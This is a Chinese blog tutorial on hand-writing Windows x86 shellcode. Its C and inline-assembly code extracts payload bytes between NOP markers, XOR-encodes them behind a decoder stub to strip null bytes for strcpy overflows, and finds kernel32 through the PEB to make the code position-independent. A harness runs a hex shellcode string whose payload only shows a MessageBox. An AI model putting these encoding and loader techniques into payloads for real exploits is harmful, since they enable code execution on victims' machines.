« “校内网”涂鸦板跨站脚本漏洞用户态下HOOK API隐藏文件 »

编写自动提取、自动重定位的ShellCode

最近学习汇编,顺便学了下一周的Shellcode的编写,有了一些心得。。
第一个Shellcode的编写
 
#include "stdafx.h"
#include "windows.h"
 
int _tmain(int argc, _TCHAR* argv[])
{
     HANDLE h=LoadLibrary("user32.dll");//此句必不可少,因为MessageBox是由user32.dll导出的
     _asm//10个nop
     {
         nop
         nop
         nop
         nop
         nop
         nop
         nop
         nop
         nop
         nop
     }
     _asm
     {
 
         push 're'//压入langouster
         push 'tsuo'
         push 'gnal'
         mov eax,esp
         push 0 //MessageBox的第一个参数
         push eax
         push eax
         push 0
         mov ebx,0x77d5058A//MessageBoxA的地址,不同系统不同补丁下会不同
         call ebx
 
         add esp,12
 
     }
     _asm//10个nop
     {
         nop
         nop
         nop
         nop
         nop
         nop
         nop
         nop
         nop
         nop
     }
 
     return 0;
}
编译后EXE文件用UltraEdit打开,搜索“90 90”,找到后发现有两段明显的90 90段,两段之间的内容就是我们想要的ShellCode,自己手动处理一下加个“\x”就行了,如图:
 

 

第一个程序提取Shellcode显得麻烦了点,还有一个很致命的问题是Shellcode中含有“00”,这在strcpy溢出时就不能用了,下一步再来写个自动提取程序,顺便把“00”给去了。
 
 
#include "stdafx.h"
#define MAX_LEN 1000 //shellcode最大长度 分配此长的空间保存SHELLCODE
//--------------------------------------------------
void ShellCode()
{
     _asm//10个nop
     {
         nop
         nop
         nop
         nop
         nop
         nop
         nop
         nop
         nop
         nop
     }
 
     _asm//shellcode
     {
         push 're'//压入langouster
         push 'tsuo'
         push 'gnal'
         mov eax,esp
         push 0 //MessageBox的第一个参数
         push eax
         push eax
         push 0
         mov ebx,0x77d5058A
         call ebx
 
         add esp,12
 
     }
 
     _asm//10个nop
     {
         nop
         nop
         nop
         nop
         nop
         nop
         nop
         nop
         nop
         nop
     }
}
//----------------------------------------------------------------------------------------
int Encode(const unsigned char *pShellCode1,int len,unsigned char *pShellCode2)
{
     for(int i=0;i<len;i++)
     {
         pShellCode2[i]=pShellCode1[i]^ 0x90;
     }
    
     return len;
}
 
void Decode()//解码头
{
     _asm//10个nop
     {
         nop
         nop
         nop
         nop
         nop
         nop
         nop
         nop
         nop
         nop
     }
 
     _asm
     {//解码头
              jmp end
         start:pop eax
 
              mov cl,153//长度
         L1:   xor byte ptr [eax],90h
              inc eax
              loop L1
              jmp shell
 
 
         end: call start
         shell:
     }
 
     _asm//10个nop
     {
         nop
         nop
         nop
         nop
         nop
         nop
         nop
         nop
         nop
         nop
     }
}
//------------------------------------------------------------------------------------------------------------------
void PrintShellCode(const unsigned char *pShellCode,int len)
{
     int i;
 
     for(i=0;i<len;i++)
     {
         printf("\\x%.2x",pShellCode[i]);
     }
}
//--------------------------------------------------------------------------------------------------------------
//提取函数10个NOP之间的内容
//参数1为函数地址 参数2返回内容长度 函数返回内容首地址
unsigned char *GetCode(unsigned char *p,int *len)
{
     int i=0;
     unsigned char *pShellCode=NULL;
 
     if((*p) == 0xe9)
     {
         p++;
         i=*((int *)p);
         p+=i;
     }
 
     for(i=0;i<1000;i++)
     {
         if(memcmp((p+i),"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90",10)==0)
         {
              if(pShellCode==NULL)
              {//前面的10个NOP
                   pShellCode=p+i+10;//跳过10个NOP
                   i+=10;
                   continue;
              }
              else
              {//后面的10个NOP
                   *len=p-pShellCode+i;
                   break;
              }
         }
     }
 
     if(pShellCode==NULL || len==0)
     {
         printf("查找NOP标志出错\r\n");
         *len=0;
     }
 
     return pShellCode;
}
//--------------------------------------------------------------------------------------
void main()
{
     int len1=0,len2=0;
     unsigned char *pShellCode=NULL,*pDecode=NULL;
     unsigned char ShellCode2[MAX_LEN];
 
 
     pShellCode=GetCode((unsigned char *)ShellCode,&len1);
 
     if(len1>0)
     {
         printf("原始ShellCode(len=%d):\r\n",len1);
         PrintShellCode(pShellCode,len1);
         printf("\r\n");
     }
 
     pDecode=GetCode((unsigned char *)Decode,&len2);
 
     if(len2>0)
     {
         printf("Decode(len=%d):\r\n",len2);
         PrintShellCode(pDecode,len2);
         printf("\r\n");
 
         memcpy(ShellCode2,pDecode,len2);
 
         len1=Encode(pShellCode,len1,ShellCode2+len2);
 
         printf("加密Shellcode(len=%d)\r\n",len1+len2);
         PrintShellCode(ShellCode2,len1+len2);
         printf("\r\n");
     }
 
}
 
在这个程序中,它自动在内存中找“90 90”,然后提取出来,再使每一个字节与一个数(这里是0x90)异或形成编码后的SHELLCODE,它已经没有“00”了,但是编码后的shellcode是不能直接运行的,这样就必须在shellcode的前面加一个译码头,也就是Decode中的内容。提取问题解决了,但我们还有一个更棘手的问题,读者可能也发现了我们的shellcode中采用了硬编码的方法把MessageBoxA的地址固定下来了,这样做的直接后果是我的系统下能执行的shellcode到了你那可能就不能执行了。接下来我们就来解决这人问题,我们知道只要知道了loadlibrary和GetProAdderss的地址就可以确定任意一个函数的地址,而这两个函数都是在kernel32.dll文件中导出的,又因为这个DLL是几乎每一个程序都必须的,所以我们只要知道了kernel32.dll在内存中的地址就可以搞定一切了,幸运的是根据PEB(进程环境块)就可以确定它的地址,完整的shellcode代码如下,用下面的shellcode代替上面程序中的shellcode即可:
 
     _asm//shellcode
     {
        
         mov eax, fs:0x30                        ;PEB
         mov eax, [eax + 0x0c]                        ;Ldr
         mov esi, [eax + 0x1c]                        ;Flink
         lodsd
         mov edi, [eax + 0x08]                        ;edi就是kernel32.dll的地址
 
         mov         eax, [edi+3Ch]                ;eax = PE首部
         mov         edx,[edi+eax+78h]
         add         edx,edi                        ;edx = 输出表地址
 
         mov         ecx,[edx+18h]                ;ecx = 输出函数的个数
 
         mov         ebx,[edx+20h]
         add         ebx,edi                        ;ebx =函数名地址,AddressOfName
 
//----------------------------------------------------获取loadlibraryA和GetProAdderss的地址
//ebx 函数名地址
//edx 输出表地址
 
 
//执行后先将loadlibraryA压栈 再压GetProAdderss
search: dec ecx
         jz End
        
         mov esi,[ebx+ecx*4]
         add esi,edi
 
 
         //查找 GetProAdderss
         //cmp dword ptr [esi],'PteG' 开头四字不具特殊性可以不比较
         //jne Lable2
         cmp        dword ptr [esi+4],'Acor'
         jne Lable2
 
Lable1:
         mov         eax,[edx+1Ch]
         add         eax,edi                        ;eax = 函数地址的起始位置,AddressOfFunction
         mov         eax,[eax+ecx*4]         
         add         eax,edi                        ;利用索引值,计算出GetProcAddress的地址
        
         push eax//保存函数地址
         jmp search
 
 
         //查找loadlibraryA
Lable2: cmp         dword ptr [esi],'daoL'//只要首尾各四个就可确定函数
         jne         search
         //cmp         dword ptr [esi+4],'rbiL'
         //jne         search
         cmp      dword ptr [esi+8],'Ayra'
         je          Lable1
         jmp search
 
End:
 
//-------------------------------------------------------------------------------ShellCode正式内容
        
         pop ebx//getproaddress地址
         pop edx//loadlibrary地址
        
 
 
         push 'll' //user32.dll
         push 'd.23'
         push 'resu'
         mov ecx,esp
         push ecx
         call edx //载入user32.dll
 
         push 'Axo' //MessageBoxA
         push 'Bega'
         push 'sseM'
         mov ecx,esp
         push ecx
         push eax
         call ebx//得到MessageBox的地址
 
         push 're'//压入langouster
         push 'tsuo'
         push 'gnal'
         mov ecx,esp
 
         push 0
         push ecx
         push ecx
         push 0
         call eax
 
         add esp,36
        
     }
 
为大家测试方便,这里再给出一个Shellcode的测试程序。
#include "stdafx.h"
 
void main()
{
     char shellcode[]="\xeb\x0b\x58\xb1\x99\x80\x30\x90\x40\xe2\xfa\xeb\x05\xe8\xf0\xff\xff\xff\xf4\x31\xa0\x90\x90\x90\x1b\xd0\x9c\x1b\xe0\x8c\x3d\x1b\xe8\x98\x1b\xd7\xac\x1b\xc4\x97\xe8\x93\x47\x1b\xda\x88\x1b\xca\xb0\x93\x4f\xd9\xe4\xbe\x1b\xa4\x1b\x93\x67\x11\xee\x94\xe2\xff\xf3\xd1\xe5\x9d\x1b\xd2\x8c\x93\x57\x1b\x94\x18\x93\x57\xc0\x7b\x72\x11\xae\xdc\xff\xf1\xf4\xe5\x4a\x11\xee\x98\xf1\xe2\xe9\xd1\xe4\x72\x7b\x5f\xcb\xca\xf8\xfc\xfc\x90\x90\xf8\xa3\xa2\xbe\xf4\xf8\xe5\xe3\xf5\xe2\x1b\x5c\xc1\x6f\x42\xf8\xff\xe8\xd1\x90\xf8\xf1\xf7\xf5\xd2\xf8\xdd\xf5\xe3\xe3\x1b\x5c\xc1\xc0\x6f\x43\xf8\xf5\xe2\x90\x90\xf8\xff\xe5\xe3\xe4\xf8\xfc\xf1\xfe\xf7\x1b\x5c\xfa\x90\xc1\xc1\xfa\x90\x6f\x40\x13\x54\xb4";
 
     __asm
     {
         lea eax,shellcode
         jmp eax
     }
}
执行结果:
 

发表评论:

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。

日历

最新评论及回复

最近发表

Powered By Z-Blog 2.0 bate Build Theme by toboku

Copyright langouster. Some Rights Reserved.   苏ICP备06046736号